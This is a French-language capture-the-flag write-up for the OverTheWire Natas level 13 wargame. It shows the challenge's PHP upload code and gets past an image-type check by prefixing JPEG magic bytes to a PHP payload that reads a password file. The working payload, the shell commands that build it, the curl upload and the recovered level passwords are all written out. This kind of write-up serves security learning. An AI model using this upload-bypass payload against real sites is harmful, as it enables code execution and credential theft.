Natas 13
Level Goal
Username: natas13
Password: jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
URL: http://natas13.natas.labs.overthewire.org
En se connectant à la page du challenge (curl http://natas13.natas.labs.overthewire.org -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
) on a un nouveau formulaire permettant l'upload d'une image :
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="81as8pox0a.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
Avec le code source suivant :
<?
function genRandomString() {
$length = 10;
$characters = "0123456789abcdefghijklmnopqrstuvwxyz";
$string = "";
for ($p = 0; $p < $length; $p++) {
$string .= $characters[mt_rand(0, strlen($characters)-1)];
}
return $string;
}
function makeRandomPath($dir, $ext) {
do {
$path = $dir."/".genRandomString().".".$ext;
} while(file_exists($path));
return $path;
}
function makeRandomPathFromFilename($dir, $fn) {
$ext = pathinfo($fn, PATHINFO_EXTENSION);
return makeRandomPath($dir, $ext);
}
if(array_key_exists("filename", $_POST)) {
$target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);
$err=$_FILES['uploadedfile']['error'];
if($err){
if($err === 2){
echo "The uploaded file exceeds MAX_FILE_SIZE";
} else{
echo "Something went wrong :/";
}
} else if(filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
echo "File is too big";
} else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
echo "File is not an image";
} else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}
}
} else {
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="1000" />
<input type="hidden" name="filename" value="<? print genRandomString(); ?>.jpg" />
Choose a JPEG to upload (max 1KB):<br/>
<input name="uploadedfile" type="file" /><br />
<input type="submit" value="Upload File" />
</form>
<? } ?>
La seule différence avec la précédente épreuve est le fait que le serveur vérifie l'existence de données EXIF en utilisant la fonction native de PHP exif_imagetype().
À cause de cette vérification nous n'avons plus la possibilité de simplement envoyer un fichier contenant du code PHP. Il faut que le serveur détecte que le fichier soit une image lors de l'upload, tout en exécutant du code contenu à l'intérieur de celui-ci lorsqu'on accédera au fichier.
La solution ici est de créer un fichier avec le contenu suivant :
- un en-tête de fichier JPEG, connu également sous le nom de JPEG Magic NUMBER (sois la suite d'octet
0xFFD8FFE0
, correspondant en utf-8 àÿØÿà
) - le code PHP permettant d'accéder au mot de passe du prochain niveau :
<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>
On peut faire cela directement depuis un terminal :
echo -n -e '\xff\xd8\xff\xe0' > exploit.php
echo '<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>' >> exploit.php
Puis si l'on envoie notre fichier en spécifiant un nom de fichier se terminant en .php
:
curl --form uploadedfile=@exploit.php \
--form filename=file.php \
http://natas13.natas.labs.overthewire.org -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY
On obtient la réponse suivante :
The file upload/ehvhqbypzx.php has been uploaded
Si on ouvre le fichier on obtient le mot de passe de l'épreuve : Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1